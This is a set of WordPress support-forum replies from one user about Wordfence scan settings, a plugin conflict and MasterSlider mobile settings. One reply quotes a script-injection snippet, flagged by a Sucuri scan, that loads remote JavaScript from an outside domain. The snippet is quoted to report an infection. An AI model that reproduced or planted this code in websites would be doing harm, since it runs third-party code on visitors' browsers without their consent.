elainewildash

Hi,

Just generated: Report number: ZTLZCFRC

Thanks.

Same error message. Deactivated NextScripts: Social Networks Auto-Poster and the error message goes away.

Hi wfphil,

Thanks for your reply.

I did run “Scan images, binary, and other files as if they were executable selected” but you’re saying the scan would have to have been run at High Sensitivity to pick these malicious images up?

Thanks,

Elaine

Hi ranxx,

This wasn’t the same for me as the thumbnails were to the side of the main image rather than on top.

You could try, as you’ve suggested, some CSS but I would also post a new ticket as there maybe another way to do this through the settings.

Kind regards,

Elaine

Hi ranxx,

No it’s in the free version too.

1) Click on MasterSlider in admin dashboard
2) Click on the Slideshow you want to make the changes to (you have to make the change within each slideshow)
3) Click on Slider Controls
4) Click on Thumblist/Tabs > Look for “Hide thumblist/tabs for window width less than:” and change to mobile px width (this means only the main image will show – thumbnails will be hidden)
5) Click on Bullets > “Hide bullets for window width less than:” and change to mobile px width (bullets will be hidden) OR
6) You can hide the arrows by clicking on Arrows and making changes to the settings in this section.

Hope this helps.

Elaine

• This reply was modified 5 years, 4 months ago by elainewildash.

Hi,

Can you confirm that the email has been received?

Thanks,

Elaine

Hi,

Resent email – and added link to zip file.

Elaine

Hi,

How do i get files to you as this is what I think is being blocked?

Thanks,

Elaine

• This reply was modified 5 years, 4 months ago by elainewildash.

Hi,

Just had a bounce back message saying:

Message blocked because its content presents a potential security risk.

Elaine

Hi,

Just sent an email through.

kind regards,

Elaine

Hi,

Thanks for your reply. Much appreciated.

That worked perfectly.

I’ll mark the status as resolved.

Thanks,

Elaine

Hi,

Thanks for your reply.

Can you update this thread with the threat intelligence team’s findings?

Elaine

Hi,

Over a month now and Sucuri scan now shows malicious code:

var _acic={dataProvider:10};(function(){var e=document.createElement(“script”);e.type=”text/javascript”;e.async=true;e.src=”//www.acint.net/aci.js”;var t=document.getElementsByTagName(“script”)[0];t.parentNode.insertBefore(e,t)})()

which is what was being picked up https://quttera.com/

WordFence is still not detecting the malicious code.

Elaine

Any ideas on this?

Hi wfalaa,

Yes that’s right.

I have now tried re-enabling “Scan files outside your WordPress installation” and “Scan images, binary, and other files as if they were executable” and the scan is completing again so no idea why this was happening.

I will however keep an eye on this and do as you’ve suggested if the issue re-occurs to try to narrow down why it’s occurring – thanks.